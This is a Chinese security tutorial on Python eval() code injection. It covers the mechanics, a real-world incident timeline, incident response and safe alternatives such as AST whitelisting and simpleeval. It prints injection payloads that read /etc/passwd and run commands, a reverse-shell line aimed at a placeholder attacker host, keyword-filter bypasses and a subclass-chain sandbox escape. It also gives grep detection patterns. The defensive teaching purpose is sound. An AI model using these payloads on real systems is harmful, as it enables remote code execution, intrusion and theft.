Python eval()代码注入:原理、攻击链与安全防御实战
先说个我亲眼见过的惨案。一个做数据分析平台的团队为了让用户能在页面上自定义计算列后端直接把用户填的表达式丢给eval()跑。一开始大家还觉得挺方便直到某天下午服务器日志里出现了一个诡异请求参数里带着__import__(os).popen(id).read()。运维反应过来的时候攻击者在服务器上已经执行了一串命令。项目上线不到两个月全站数据要回滚到三天前还得排查有没有被留后门。整个过程里没有复杂的中间人攻击没有高深的内网渗透仅仅是因为一个小小的eval()函数没做任何防护。这篇文章就围绕eval()代码注入这个主题把原理、攻击链、防御方案一次讲透适合所有在项目里写过或准备写eval()的Python开发者。1. eval()到底是什么一个字符串如何变成一段代码1.1 eval()的基本行为与常见使用场景eval()在Python里的作用很简单接收一个字符串参数把它当作Python表达式求值返回结果。比如eval(1 2)会返回3eval([x for x in range(3)])会返回[0, 1, 2]。换句话说这个函数把一个普通字符串直接变成了可被解释器执行的代码。在正经业务里eval()确实有一些实用场景。最常见的包括处理配置文件中类似Python字面量的内容、计算用户输入的数学表达式、在规则引擎里解析条件表达式甚至有些测试框架用它将字符串形式的断言转换为可执行代码。我见过不少初学者为了省事把eval()当成万能解析器前端传进来一个列表形式的字符串后端直接eval()一把梭配置管理面板里填了一段Python风格的条件系统直接执行。问题恰恰出在这里。eval()的设计目标就是执行代码它天生不区分数据和程序。一旦输入可控它就会成为攻击者手里最顺手的武器。我常说一句话当你把eval()暴露给用户输入的那一刻你实际上把Python解释器也暴露给了用户。1.2 eval()和exec()的区别表达式和语句的边界很多人容易把eval()和exec()搞混。eval()只能执行单个表达式并且必须返回一个值比如eval(11)可以但eval(x1)会直接报SyntaxError。而exec()可以执行任意Python代码包括赋值语句、循环、函数定义等只是它不会返回结果。从代码注入的角度看eval()虽然比exec()限制更多但这个限制其实就是一层窗户纸。Python里很多操作本身就是一个表达式。__import__(os).system(whoami)是一个表达式open(/etc/passwd).read()是一个表达式().__class__.__mro__[1].__subclasses__()也是一个表达式。攻击者根本不需要完整语句只要有一条表达式链路就能完成从信息收集到命令执行的所有动作。我遇到一些开发者说我只用了eval()没敢用exec()应该安全吧这是在自我安慰。eval()可以调用任何对象上的任何方法本质上和exec()只隔了能不能写多行代码的距离。真要谈安全性两者谁都不比谁强。1.3 为什么eval()会成为后门任意代码执行的本质eval()会成为后门核心原因是它把输入直接推给了Python解释器的求值流程。解释器看到__import__(os).system(ls)这句话会老老实实地导入os模块、调用system函数、执行ls命令。它不管这段代码是你写死在文件里的还是用户通过HTTP请求传进来的。从攻击者的视角看只要一个Web接口的某个参数最终被eval()处理了他就等于拿到一个写Python代码得有回显的远程执行入口。更麻烦的是Python本身是一个功能非常强大的动态语言字符串可以动态导入模块、遍历对象属性、取得内部类引用。这些特性叠加在一起让在eval()里干点坏事变成一件成本极低、成功率极高的操作。所以认清eval()的本质比记住一堆攻击payload更重要它不是数据解析函数而是代码执行出入口。凡是流入它的数据都必须被视为不可信的代码而不是普通的值。2. 代码注入原理与攻击链从计算器到服务器失守2.1 注入触发点用户输入的字符串就是代码我习惯把代码注入问题拆成三个要素入口点、执行点、危害面。入口点是用户可控参数的进入位置执行点是eval()这类函数所在的位置危害面是攻击者能够影响的资源范围。三者只要连成一线漏洞就成立了。举一个最典型的例子。假设后端接口这样写from flask import Flask, request app Flask(__name__) app.route(/calc) def calc(): expr request.args.get(expr, ) result eval(expr) # 入口是query参数执行点是eval危害面是整个进程权限 return {result: result}这个接口原本的定位是在线计算器用户传11服务器返回2。从业务角度讲它只在解析数学表达式这一个功能上画了个圈但攻击者根本不会按照你画的圈活动。他传入的第一个测试请求很可能是11确认接口能返回结果紧接着就会传入__import__(os).getcwd()试探eval()能否访问模块系统一旦发现可以后续就是一连串的利用。这就是注入漏洞的典型特征数据边界和代码边界彻底混在一起。编程语言根本没有办法自动区分这是数据还是这是代码因为eval()存在的意义就是让字符串变成代码。2.2 第一波攻击载荷从__import__到os.system很多没接触过安全的朋友第一次看到__import__会觉得莫名其妙其实理解起来不难。__import__(os)是Python内置的导入模块函数和import os等价。在eval()表达式里不能直接写import os因为import是语句不是表达式但__import__(os)是函数调用是合法表达式。有了模块导入能力攻击者就可以做很多事了# 执行系统命令 __import__(os).popen(id).read() __import__(subprocess).check_output([id]).decode() # 读取服务器文件 open(/etc/passwd).read() __import__(os).listdir(/) # 反弹一个交互式shell攻击者服务器上执行监听 __import__(os).system(bash -i /dev/tcp/attacker_ip/8888 01)这些payload的共同点是它们都是合法Python表达式eval()都会执行而且不需要在服务器上留下任何文件完完全全走的是Python内置能力。有些团队试图在WAF层面过滤os、system、popen这些关键词效果只能说约等于零。因为攻击者可以用字符串拼接、编码、格式化等方式绕过# 字符串拼接绕过关键词过滤 eval(__import__(os).popen(id).read()) # 格式化函数绕过 eval(__import__(o{}s.format()).system(id))我在实际项目中见过最离谱的一次攻击者把__import__拆成了().__class__.__mro__[1].__subclasses__()遍历出来的类构造器整条payload没有一个干净的关键词但照样完成了命令执行。2.3 沙箱逃逸围剿builtins、__subclasses__与object链有经验的开发者会想eval()能不能通过限制命名空间来降低风险答案是能降低但远不能根除。来看下面这个看似安全的写法eval(expr, {__builtins__: None}, {})这个写法把内建函数字典置为空意图是让攻击者无法使用__import__、open、getattr这些内置能力。理论上eval(11, {__builtins__: None}, {})仍然能正常返回2因为数字和加法运算符不依赖名字查找。但攻击者有一张绕过硬限制的经典底牌——对象子类链。所有Python对象最终都继承自object而object又存在于所有类的元类链中。任何一个类的实例都可以通过__class__属性拿到自己的类再通过__mro__拿到继承链再通过__subclasses__()拿到当前解释器进程里加载的所有子类。在这些子类里总会有一些类关联着文件读取、命令执行等危险能力。# 即使禁用builtins下面这行依然能遍历出所有已加载子类 [].__class__.__mro__[1].__subclasses__()攻击者会在返回的子类列表里寻找os._wrap_close、warnings.catch_warnings等类然后通过它们的成员函数重新拿到sys模块甚至__import__。整个链条看起来复杂但本质上就是一句话只要eval()还能访问对象的属性链它就有机会重建出被禁用的能力。这也是为什么我一直不建议把限制globals当成eval()的安全方案。它确实能挡住新手攻击者但对稍微研究过Python内省机制的人来说这只是一层需要几分钟就能突破的纸。后面要讲的白名单AST、禁用对象属性访问才是真正能把这个口子收小的办法。3. 实战复盘一次在线计算器被RCE的完整时间线3.1 漏洞从哪来业务需求催生的快捷实现前阵子我帮一个朋友复现他们线上环境遇到的问题场景和开头说的案例几乎一模一样。他们的Web工具给用户提供了一套计算规则配置功能允许用户输入类似单价 * 数量 * 折扣的公式。本来用专门的表达式解析库就能搞定但当时的开发者图省事直接在后端把用户公式交给eval()理由是Python表达式天然支持四则运算eval()最省事。需求上线后QA只测了正常公式没有做任何恶意输入测试。这个漏洞就这样默默躺在了公网服务里。这里有个非常隐蔽的坑功能的正常路径越顺畅团队就越容易忽略异常路径。设计者在心里把eval()当成了一个数学计算器攻击者却看到的是一个Python解释器网关。3.2 攻击者是怎么办到的探测、注入、回显到反弹根据他们的访问日志整个攻击过程其实有条不紊。攻击者先用了一个普通payload做探测expr1%2B1确认接口返回2。这个请求看着人畜无害但在攻击者的视角里它验证了三件事参数可以被后端解析、eval()确实执行了表达式、响应体里直接带回了计算值。接下来攻击者开始逐步加码。先是expr__import__(os).getcwd()返回了网站部署目录然后是expr__import__(os).popen(cat /etc/passwd).read()验证了服务器文件可读再然后是用expr__import__(subprocess).check_output([id]).decode()确认当前用户权限。整个探测不到五分钟攻击者已经判断出这是一个可以拿系统权限的入口。真正造成严重破坏的是最后一步。攻击者发现当前进程是root权限直接通过__import__(os).system(wget ...)下载了一个挖矿程序到服务器上并写入定时任务保持运行。等到运维发现服务器CPU异常飙高攻击者已经控制那台机器好几天了。整个链条里没有任何一步需要绕过认证或者利用系统漏洞全靠一个没设防的eval()和一个站错位的权限。3.3 应急响应发现问题后的处置步骤那次事件之后我整理了一份针对eval()注入的应急清单后来反复用到。第一步是止损立即摘掉受影响服务的外网入口或者直接在网关层临时拦截包含__import__、eval、exec、system、popen等关键词的请求。虽然这些规则挡不住所有变种但在紧急时刻可以争取时间。第二步是排查痕迹。去审计日志里找所有命中eval()接口的请求参数特别关注包含__import__、__class__、__subclasses__、popen、subprocess这些特征的记录。同时检查服务器上的定时任务、启动脚本、SSH authorized_keys文件、用户目录下是否有异常文件把攻击者可能留下的后门全部清理干净。第三步是复盘修复。代码层面把eval()替换成安全的表达式解析方案比如用ast白名单或专用库架构层面把业务进程降权到普通用户、启用容器隔离流程层面把用户输入当成恶意数据从入口到执行全链路都要做输入校验。最后我还会补一条所有解析用户输入的地方无论多简单都要在开发阶段默认视为高危代码而不是等到出事了才后悔。4. 防御方案落地eval的四种安全替代与加固4.1 方案一ast.literal_eval处理纯字面量解析如果你的需求只是把字符串形式的字面量转成Python对象比如把[1, 2, 3]变成列表、把{name: test}变成字典那直接用ast.literal_eval()这是官方库里最接近安全eval的方案。import ast # 安全解析字面量 data ast.literal_eval([1, 2, 3]) config ast.literal_eval({timeout: 30, retry: 3})ast.literal_eval()只接受字符串、数字、元组、列表、字典、集合、布尔值、None以及它们的嵌套组合。一旦传入的字符串里包含函数调用、变量名、运算符它会直接抛出ValueError。换句话说ast.literal_eval(__import__(os).system(id))会报错ast.literal_eval(11)也会报错因为它只认字面量不认计算逻辑。这个方案适合所有配置解析类需求。我处理过不少项目原本用eval()解析配置文件、环境变量、JSON-like字符串全部改成literal_eval之后逻辑没有任何变化安全性直接提升了一个档次。需要注意的是literal_eval仍然有可能被构造出的超大嵌套结构耗尽CPU或内存比如传一个深达几千层的嵌套列表所以它也不是完全无脑用最好还是加上一层输入长度限制。4.2 方案二自定义AST白名单把eval关进笼子如果业务确实需要计算表达式比如单价 * 数量 * 折扣那literal_eval就不够用了。这时候我推荐的做法是先把表达式解析成抽象语法树AST在AST层面上校验允许出现的节点类型只有全部通过白名单校验才允许后续的编译和求值。这个方案本质上是在eval()前面加一道语法关卡直接把函数调用、属性访问、下标访问这些危险动作拒之门外。import ast ALLOWED_NODES ( ast.Expression, ast.Constant, ast.BinOp, ast.UnaryOp, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Mod, ast.USub, ast.UAdd, ) def safe_eval(expr: str): node ast.parse(expr, modeeval) for item in ast.walk(node): if not isinstance(item, ALLOWED_NODES): raise ValueError(表达式包含不允许的语法) code compile(node, safe_expr, eval) return eval(code, {__builtins__: None}, {})这个白名单里只放入了数字常量、四则运算、正负号这些节点。用户传12*3没问题传__import__(os)不行因为节点类型是ast.Call不在白名单内传[].__class__也不行因为__class__属性访问对应ast.Attribute节点照样不在白名单内。这样一来就算攻击者再熟悉Python对象链他也没办法在表达式中写出对应的语法结构。这套方案在实际项目中非常实用。我服务过的一个报表系统用户需要配置自定义指标公式功能要求支持加减乘除、括号、数字常量、少量数学函数。我在白名单里额外加入了ast.Call但同时在代码里做了函数名白名单只允许abs、round、min、max这几个内置函数其余一律拒绝。这样既满足了业务灵活性又不会把整个解释器裸奔给用户。4.3 方案三限制命名空间与权限最小化当你确实必须在非常受控的环境里使用eval()时限制命名空间是最后的底线而不是唯一的防线。最典型的写法是把globals里的内置函数清空expr 1 2 result eval(expr, {__builtins__: None}, {})这样做的意义在于即使白名单校验有遗漏攻击者能拿到的对象能力也会被大幅削弱。比如他不能直接用open读文件、不能直接用__import__导入模块很多初级攻击脚本会直接失效。但这绝不能作为安全的依据因为对象属性链和方法调用仍然可能构成绕过风险尤其在AST白名单没有被严格实施的情况下。权限最小化还要延伸到运行环境层面。我见过一个生产环境应用进程直接以root身份跑eval注入后攻击者一步到位拿到系统管理员权限。后来我把服务改成普通用户运行并放进Docker容器再搭配Seccomp、只读文件系统、禁用容器内shell等策略。每次谈到代码注入我都会强调一点单点防护永远不够纵深防御才是活下来的关键。eval本身再危险如果运行环境已经被层层收紧攻击者能造成的危害就会大打折扣。4.4 方案四用成熟库替代别再自己写安全eval如果你觉得维护AST白名单太费劲又不敢用裸eval()那直接引入社区成熟的表达式求值库。我自己用得比较多的是simpleeval和asteval两者的设计思路都是提供白名单式的安全表达式解释器。from simpleeval import simple_eval # 默认只允许字面量和白名单函数 simple_eval(1 2 * 3) # 如果想开放一些函数可以指定 simple_eval(abs(-5), functions{abs: abs})simpleeval默认不让导入模块、不让访问属性、不加载内置函数等于帮我把前面说的AST白名单策略封装好了。asteval则更进一步允许自定义符号表、函数白名单、甚至禁止某些危险操作适合更复杂的规则引擎场景。这些库也不是完全没有绕过可能尤其当你开放了functions参数却不够严谨时还是可能通过函数对象的属性链做文章。我的建议是选择成熟库只是起点依旧要按高危输入的心理预期做代码审查、日志审计和运行环境隔离。但相比裸写eval()它们确实把默认安全水平拉高了一大截。4.5 方案对比表与实践建议我把几种方案的适用场景和风险等级整理成了一个表方便你自己对照选择。方案支持功能安全级别适用场景备注裸eval()任意Python表达式极低不应存在于任何生产代码即使只内网使用也不建议限制globals受限Python表达式中低临时救急需配合其他手段可被对象链绕过ast.literal_evalPython字面量高配置文件、字符串转基础对象不支持运算和函数自定义AST白名单可控表达式子集高计算公式、规则引擎需要自己维护节点白名单simpleeval/asteval可控表达式白名单函数高低代码平台、用户自定义公式优先推荐仍需环境隔离我的实践建议很简单能不用eval()就不用能用literal_eval就别碰exec真需要表达式求值首选simpleeval业务再复杂就上AST白名单。代码评审的时候我看到eval()出现会非常敏感哪怕旁边注释写着仅内网使用、输入可信我也一定会追问一句这个字符串最终到哪一层中间有没有可能被外部请求污染5. 常见问题排查与经验避坑5.1 高频问题一eval不返回结果、报SyntaxError等很多第一次用eval()开发的人会踩到几个基础坑。第一个是eval()只能处理表达式传入x 1这种赋值语句会直接报SyntaxError: invalid syntax。第二个是eval()的返回值是表达式的结果如果你执行的是os.system(id)返回的是命令退出码0而不是命令输出很多人误以为命令没执行其实执行了只是回显不一样。第三个是eval()的globals和locals字典混用导致变量作用域和预期不一致报NameError。这些基础问题在安全场景下也有诊断价值。比如线上日志里如果出现大量SyntaxError可能只是某个正常用户在公式里写了分号或者换行也可能是攻击者正在逐个试探eval()的行为边界。我排查时看到这种报错第一反应是去看触发请求的完整参数而不是直接忽略。5.2 高频问题二纯过滤坏关键词为什么不可靠我收到最频繁的安全方案是这种在eval()前先用正则过滤掉__import__、os、system、exec这些词认为这样就安全了。这个方案的问题非常明显Python表达式有太多种方式构造出等价字符串。光是我见过的就有字符串拼接、f-string格式化、str.replace、bytes解码、进制转换甚至用chr()函数逐个拼出关键字。# 用chr逐个拼出__import__避开关键字过滤 expr .join(chr(i) for i in [95,95,105,109,112,111,114,116,95,95]) (os).system(id) result eval(expr)一旦攻击者真的在试探你的过滤规则这种关键词黑名单几乎一定会被击穿。我的建议是把精力放在允许什么而不是拒绝什么。白名单和AST节点校验才是可控的黑名单永远是最薄弱的防守方式。5.3 高频问题三pandas.eval/动态代码里的隐藏风险eval()不只是Python内置函数这一个入口。很多第三方库为了性能或便利性也提供了类似eval()的接口。最典型的是pandas里的DataFrame.eval()和pandas.eval()它们主要用来计算DataFrame列之间的表达式比如df.eval(a * b c)。如果这些表达式来源于用户输入同样可能存在代码注入风险。还有一个容易忽略的点是input()在Python 2里本身就是eval(raw_input())等于每一次接收用户输入都在裸奔虽然在Python 3里input已经改成了普通字符串输入但不少老项目迁移不彻底还是会有eval套着input的商品代码。另外ORM的一些签名、配置文件的动态导入、序列化函数里的反序列化后执行逻辑都是容易被忽视的隐藏eval。排查项目里是否存在类似风险最直接的办法是在代码库里搜索eval(、exec(、compile(、pandas.eval、asteval、simpleeval、yaml.load这类调用逐个人工确认输入来源。我每次做代码安全自检都会把这些调用点列成一个清单挨个看数据流入口这条习惯救过我很多次。5.4 排查技巧如何在日志里快速锁定注入攻击如果怀疑已经被攻击通过日志定位是最快的方式。重点关注这些特征请求参数中含有__import__、__class__、__subclasses__、popen、system、subprocess、chr(、base64等关键字同一个IP在短时间内对同一接口发起大量携带不同表达式的请求响应结果中出现了系统命令输出、文件内容、异常堆栈等不该出现的回显。日志检索可以用类似这样的规则# 在访问日志里检索疑似注入载荷 grep -E __import__|__class__|__subclasses__|popen|system|subprocess access.log找到可疑请求后要尽快把完整的请求参数、来源IP、User-Agent、时间戳一并保存作为后续分析和溯源依据。然后回到应急处置清单该下线的下线该清理的清理。最后把这次攻击特征沉淀到WAF规则或网关层做拦截避免同类攻击再次出现。我个人在实际排查中还有一个体会eval()注入攻击往往不是一次性完成的攻击者会反复试探、逐步升级。日志里如果看到某条payload从11变成__import__(os).getcwd()再变成popen(id).read()就基本可以判定有人在系统性地做漏洞利用。这时候不要只盯着eval()那一行代码而是要把整个服务入口、权限、网络暴露面都重新过一遍因为你不知道他在成功之前还试过多少条别的路径。安全无小事一个eval()引发的血案往往就是从省事两个字开始的。